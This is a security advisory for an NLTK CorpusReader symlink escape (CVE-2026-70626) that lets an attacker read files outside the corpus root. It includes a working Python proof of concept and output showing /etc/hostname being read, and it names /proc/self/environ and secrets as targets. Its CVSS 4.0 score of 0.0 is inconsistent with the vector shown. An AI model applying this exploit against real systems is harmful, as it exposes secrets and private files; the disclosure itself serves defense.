GHSA-r6gq-whwq-mvg9 CVE-2026-70626 PYSEC-2026-3732
NLTK: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root
- Severity
- 0.0 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.20%
- Chance of exploitation in the next 30 days. Higher than 9.83% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-59 Improper Link Resolution Before File Access ('Link Following')
- Fix
3.9.4- Upgrade nltk to this version or later
Description
Summary
nltk.corpus.reader.api.CorpusReader.open() can be used to read files outside the intended corpus root via a symlink placed inside that root. Although NLTK blocks absolute paths and .. traversal, the current boundary check is only lexical and does not account for symlink resolution. This leads to an arbitrary local file read / filesystem sandbox bypass for applications that rely on CorpusReader or FileSystemPathPointer to restrict file access.
Details
The vulnerable flow is:
-
nltk/corpus/reader/api.py:222CorpusReader.open()blocks absolute paths and.., then callsself._root.join(file).open()
-
nltk/data.py:398FileSystemPathPointer.join()joins the requested file ID and checks whether the resulting path still appears to remain under the configured root
The problem is that the check is based on the lexical path after os.path.normpath(), not on the resolved path after following symlinks.
Current behavior:
CorpusReader.open()rejects:- absolute paths
..path traversal
FileSystemPathPointer.join()computes:joined = os.path.normpath(os.path.join(self._path, fileid))root = os.path.normpath(self._path)
- It allows the access if
joinedstarts withroot
This misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory.
Example:
JOINED=/tmp/nltk-root/link/secret.txt
REALPATH=/tmp/outside/secret.txt
JOINED still appears to be inside the root, but REALPATH is outside it.
This is distinct from simple ../ traversal:
- the file ID is not absolute
- the file ID does not contain
.. - the escape only happens after filesystem resolution of a symlink under the allowed root
PoC
Reproduced in an isolated Docker sandbox using the local nltk clone.
Minimal Python PoC:
import os
import tempfile
from nltk.corpus.reader.api import CorpusReader
root = tempfile.mkdtemp(prefix="nltk-root-")
outside_dir = tempfile.mkdtemp(prefix="nltk-out-")
outside_file = os.path.join(outside_dir, "secret.txt")
with open(outside_file, "w") as f:
f.write("secret-data")
os.symlink(outside_dir, os.path.join(root, "link"))
corpus = CorpusReader(root, ["link/secret.txt"])
with corpus.open("link/secret.txt") as f:
print(f.read())
Observed result:
secret-data
Docker re-test output:
ROOT=/tmp/nltk-root-jjxay3if
OUTSIDE_DIR=/tmp/nltk-out-1kef36e0
JOINED=/tmp/nltk-root-jjxay3if/link/secret.txt
REALPATH=/tmp/nltk-out-1kef36e0/secret.txt
READ_OK=secret-data
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False
Additional impact validation using a system file:
ROOT=/tmp/nltk-root-_h5x4m19
JOINED=/tmp/nltk-root-_h5x4m19/hostfile
REALPATH=/etc/hostname
HOSTNAME_READ=48dafb244af3
INSIDE_ROOT=True
REAL_INSIDE_ROOT=False
This shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.
Impact
This is an arbitrary local file read / symlink escape issue.
Who is impacted:
- applications that accept attacker-controlled corpus directories, extracted datasets, or package contents
- applications that rely on NLTK corpus readers as a trust boundary for file access
- any deployment where an attacker can place or influence files inside the allowed corpus root
Practical impact includes disclosure of:
- application secrets stored on disk
- local configuration files
- private datasets
- process-exposed files such as
/proc/self/environ - system files readable by the running user
The issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| nltk | < 3.9.4 |
3.9.4 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
nltk PyPI → 3.9.4
- pip
pip install --upgrade "nltk>=3.9.4"- poetry
poetry add "nltk>=3.9.4"- uv
uv add "nltk>=3.9.4"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Local
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 6.2
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-59: Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
How to prevent it
- Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
References
Advisories
Packages
Other links
- github.com/nltk/nltk/security/advisories/GHSA-r6gq-whwq-mvg9
- github.com/nltk/nltk/pull/3522
- github.com/nltk/nltk/commit/1b0e519e2324bc1a273d56edee63e44d0ad85b48
- github.com/nltk/nltk/releases/tag/3.9.4
- github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3732.yaml
- vulncheck.com/advisories/nltk-before-symlink-escape-via-corpusreader
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-j456-xh4h-cpf2 NLTK: WekaClassifier passes an unvalidated caller-controlled model path to the weka JVM, bypassing nltk.pathsec containment | High | Also affects nltk |
| GHSA-ff5c-cp5c-9wjf NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars | Medium | Also affects nltk |
| GHSA-f794-5jv7-7672 NLTK: Downloader.download follows hardlinks and overwrites outside-root files | High | Also affects nltk |
| GHSA-8mgp-746c-j5xp NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots | High | Also affects nltk |
| GHSA-8mpw-7fpc-4gqj NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks | Low | Also affects nltk |
| GHSA-cw6x-m8jw-qmrh NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input | Medium | Also affects nltk |
| GHSA-vp2x-qp44-57v7 NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()` | Low | Also affects nltk |
| GHSA-ww6m-cw3f-q94g NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y' | High | Also affects nltk |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor